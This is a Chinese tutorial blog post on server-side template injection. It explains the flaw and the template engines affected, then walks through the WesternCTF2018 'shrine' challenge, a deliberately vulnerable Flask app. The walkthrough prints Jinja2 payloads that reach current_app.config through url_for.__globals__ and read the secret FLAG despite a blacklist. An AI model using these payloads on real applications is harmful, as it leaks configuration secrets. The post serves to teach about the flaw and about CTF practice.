🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
大纲:
知识点:
演示案例:
1、SSTI入门-原理&分类&检测&分析&利用
1、什么是SSTI?有什么漏司危害?
2、如何判断检测SSTI漏河的存在?
3、SSTI会产生在那些语言开发应用?
4、SSTI安全问题在生产环境那里产生?
2、SSTI(模板注入)漏洞(cms实例篇)
题目练习:[WesternCTF2018]shrine
大纲:
知识点:
-
1、PYC文件反编译
-
2、Python-web-ssrr
-
3、SSTI模版注入利用分析
演示案例:
-
PY反编译-PYC编译文件反编译源码
-
SSTI入门-原理&分类&检测&分析&利用
-
SSTI考点-CTF靶场-WestemnCTF日shrine
-
SSTI考点-CMS源码-MACCMS V8.X执行
-
PY反编译-PYC编译文件反编译源码
Pyc文件是py文件编译后生成的字节码文件(byte code),Pyc文件经过pythonf解释器,最终会生成机器码运行,因此pyc文件是可以跨平台部署的,类似Java的。
反编译在线平台:
python反编译 - 在线工具
在线pyc,pyo,python,py文件反编译,目前支持python1.5到3.6版本的反编译-在线工具
1、SSTI入门-原理&分类&检测&分析&利用
1、什么是SSTI?有什么漏司危害?
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编泽這染的过程中,执行了用户播入的可以破怀模板的语句,因而可影导数了散感信息泄露、代码执行、GetShe11等问题。其影响范围主要取决于模版引擎的复杂性。
2、如何判断检测SSTI漏河的存在?
输入的数据会被浏览器利用当前脚本语言调用解析执行
3、SSTI会产生在那些语言开发应用?
1、Python: 使用像Jinja2、Mako、Django等模板引擎的Python Web应用程序容易受到SSTI攻击。这些框架在处理用户输入时,如果不正确地进行了过滤或者模板渲染不安全,就容易受到攻击。
2、Ruby: Ruby on Rails框架使用ERB(Embedded Ruby)作为默认的模板引擎,如果开发人员未正确处理用户输入,就可能导致SSTI漏洞。
3、Java: 基于Java的Web应用程序通常使用像FreeMarker、Thymeleaf等模板引擎。如果这些模板引擎未受到适当的保护或者没有正确地过滤用户输入,就可能受到SSTI攻击。
4、JavaScript/Node.js: 一些Node.js应用程序使用像Handlebars、Pug等模板引擎。如果这些模板引擎在处理用户输入时不安全,就可能存在SSTI漏洞。
4、SSTI安全问题在生产环境那里产生?
- -存在模版引用的地方,如 404 错误页面展示
- -存在数据接收引用的地方,如模版解析获取参数数据
参考文章:
https://swq111.online/index.php/2024/02/19/ssti模版注入特详版/
2、SSTI(模板注入)漏洞(cms实例篇)
参考链接:
https://www.cnblogs.com/bmjoker/p/13653563.html
常见的CMS模块SSTI注入源代码下载:
GitHub - bmjoker/Code-audit: 记录一下代码审计的资料
题目练习:[WesternCTF2018]shrine
模板渲染接受的参数需要用两个大括号括起来{{}}
,所以我们需要在大括号内构造参数形成注入
SSTI注入需要知道用的是什么模板引擎,参考这张图片
题目代码如下(可以右击查看源代码,这样更具清楚)
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
可以看到有两个路由,第一个路由给出了显示出源代码,第二个路由在/shrine/
路径下提交参数,模板中设定{{ }}
包括的内容为后端变量,% %
包括的内容为逻辑语句
我们尝试简单的SSTI注入测试:/shrine/{{2*2}}
我们查看源码,可以知道我们提交的参数之中的()会被置为空,同时会将黑名单(config或者self)内的内容遍历一遍,把参数内的与黑名单相同的置为none
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
根据前面分析我们需要看到config,这里面应该有一个FLAG的值
利用python里面的内置函数,比如url_for和get_flashed_messages
url_for() 方法:
url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。
get_flashed_messages() 方法:
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
注入{{url_for.globals}}查看里面的变量信息
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
注入config.FLAG拿flag值:
/shrine/{{url_for.__globals__['current_app'].config.FLAG}}